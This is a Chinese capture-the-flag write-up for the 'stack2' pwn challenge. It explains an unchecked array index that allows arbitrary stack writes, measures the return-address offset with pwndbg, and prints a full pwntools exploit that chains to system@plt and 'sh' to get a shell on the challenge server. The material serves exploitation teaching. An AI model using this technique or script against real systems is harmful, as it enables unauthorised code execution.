xctf stack2 wp

字数: 1432

来自攻防世界的 pwn 题:stack2。
主要是分析得到题目漏洞,利用漏洞构建转移链。

分析程序

checksec 分析:

1
2
3
4
5
6
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

x86 程序带 canary、NX 和 partial RELRO(没用的机制)。

运行程序能发现这实际上是简易的求平均数程序。
开头这里,i <= 99 使得程序写入数据是有限的。

1
2
3
4
5
6
  puts("Give me your numbers");
  for ( i = 0; i < v5 && i <= 99; ++i )
  {
    __isoc99_scanf("%d", &v7);
    v13[i] = v7;
  }

程序一共有4 个小部分:

显示数字

1
2
3
4
5
if ( v6 != 1 )
  return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
  printf("%d\t\t%d\n", k, (char)v13[k]);

只是便利输出数字,没有漏洞。

添加数字

1
2
3
4
5
6
7
8
9
if ( v6 != 2 )
  break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 99 )
{
  v3 = j++;
  v13[v3] = v7;
}

同上,因为限制数字个数,无法无限写。

改变数字

1
2
3
4
5
6
7
if ( v6 != 3 )
  break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;

这里 v5 是整形,而可以修改 v13 作为偏移量的数据,一次写入一字节(v13 数据类型为 _BYTE)。
v5 没有限制,而 v13 是栈上的数据,显然可以在栈上自由跳转,比如跳转到最后返回地址的栈帧地址上,然后写入一字节的数据。

得到平均数

1
2
3
4
5
if ( v6 != 4 )
  break;
v9 = 0;
for ( m = 0; m < j; ++m )
  v9 += (char)v13[m];

就是利用偏移量计算平均数,没什么稀奇。


显然,能够利用的就只有改变数字那块进行栈上任意写,不过也够用了。

看一下字符串表,发现有 /bin/bashhackhere 函数内,可惜靶机上没有 bash,只有 sh ,但可以利用片段获得 sh,如果最后返回地址改写为 hackhere 那么是无法获得 shell 的。

利用

最开始有提到, main 函数的返回汇编有些奇怪,为了获得 ebp 和 return address 的偏移量,可以利用 pwndbg 去截取。
通过反汇编 main 函数,找到 main 函数初始化后的地址打断点,比如:

1
0x080485fb <+43>:	call   0x8048470 <setvbuf@plt>

获得此时的基址 ebp

1
2
pwndbg> info reg ebp
ebp            0xffffcb68          0xffffcb68

返回地址会在执行到 ret 的时候被 esp 指向,所以在 ret 处打断点:

1
2
3
4
5
   0x080488ef <+799>:	lea    esp,[ecx-0x4]
   0x080488f2 <+802>:	ret
End of assembler dump.
pwndbg> b *0x080488f2
Breakpoint 2 at 0x80488f2

继续运行,然后到 5.exit 退出循环进入 ret 。
获得此时 esp 地址:

1
2
pwndbg> info reg esp
esp            0xffffcb7c          0xffffcb7c

两者相减为 0x14。

回到改变数字的选项代码:

1
2
3
4
5
6
7
if ( v6 != 3 )
  break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;

这里的 v13 从 ida 可以看到在 ebp - 70 的位置,汇编也能说明一些问题:

1
   0x0804884d <+637>:	mov    BYTE PTR [ebp+eax*1-0x70],dl

而它与返回地址的相对位置为 : 0x70 + 0x14 = 0x84。
由此就可以开始修改返回地址了。上文说到 hackhere 这个函数实际上是没什么用的,所以应该要利用 system@plt 来构造返回链接。
因为跳转不会修改到 canary 值所以不会受到影响。
接下来就是 ret2libc 的基本操作了。
需要构造的 ROP 链为:

1
system@plt addr + return address + sh addr

可以写成一个函数来方便调用:

1
2
3
4
def write_addr(offset: bytes, data: bytes):
    io.sendlineafter(b"5. exit", b"3")
    io.sendlineafter(b"number to change:", offset)
    io.sendlineafter(b"new number:", data)

需要注意程序中的 scanf 只支持十进制,所以需要对地址修改,且因为 x86 是小端序,所以要从后往前写入数据。
整体写入过程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# 构造 system、return addr、arg(command) 链

# system@plt 0x08048450
write_addr(b"132", b"80") # 0x84 0x50
write_addr(b"133", b"132") # 0x85 0x84
write_addr(b"134", b"4")   # 0x86 0x04
write_addr(b"135", b"8") # 0x87 0x80

# fake_ret main 0x080485d0
write_addr(b"136", b"208") # 0x88 0xd0
write_addr(b"137", b"133") # 0x89 0x85
write_addr(b"138", b"4")   # 0x8a 0x04
write_addr(b"139", b"8") # 0x8b 0x08

# sh 0x08048987
write_addr(b"140", b"135") # 0x8c 0x87
write_addr(b"141", b"137") # 0x8d 0x89
write_addr(b"142", b"4")   # 0x8e 0x04
write_addr(b"143", b"8") # 0x8f 0x08

最开始要先写下没用的数据:

1
2
io.sendlineafter(b"you have:", b"1")
io.sendlineafter(b"numbers", b"1")

最终 exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

context(arch="i386", os="linux", log_level="info")
#io = process("./3fb1a42837be485aae7d85d11fbc457b")
io = connect("61.147.171.105", 52995)

"""
main 函数返回的汇编,还要有偏移量
leave
lea    esp,[ecx-0x4]
ret

main 内 ebp 0xffffcb68 即 save ebp 的值
ret  下 esp 0xffffcb7c 即 return addr 的值
save EBP 和 return address : 0x14
"""

hackhere_addr = 0x804859B
io.sendlineafter(b"you have:", b"1")
io.sendlineafter(b"numbers", b"1")


def write_addr(offset: bytes, data: bytes):
    io.sendlineafter(b"5. exit", b"3")
    io.sendlineafter(b"number to change:", offset)
    io.sendlineafter(b"new number:", data)


# 构造 system、return addr、arg(command) 链

# system@plt 0x08048450
write_addr(b"132", b"80") # 0x84 0x50
write_addr(b"133", b"132") # 0x85 0x84
write_addr(b"134", b"4")   # 0x86 0x04
write_addr(b"135", b"8") # 0x87 0x80

# fake_ret main 0x080485d0
write_addr(b"136", b"208") # 0x88 0xd0
write_addr(b"137", b"133") # 0x89 0x85
write_addr(b"138", b"4")   # 0x8a 0x04
write_addr(b"139", b"8") # 0x8b 0x08

# sh 0x08048987
write_addr(b"140", b"135") # 0x8c 0x87
write_addr(b"141", b"137") # 0x8d 0x89
write_addr(b"142", b"4")   # 0x8e 0x04
write_addr(b"143", b"8") # 0x8f 0x08

io.sendlineafter(b"5. exit", b"5")
io.interactive()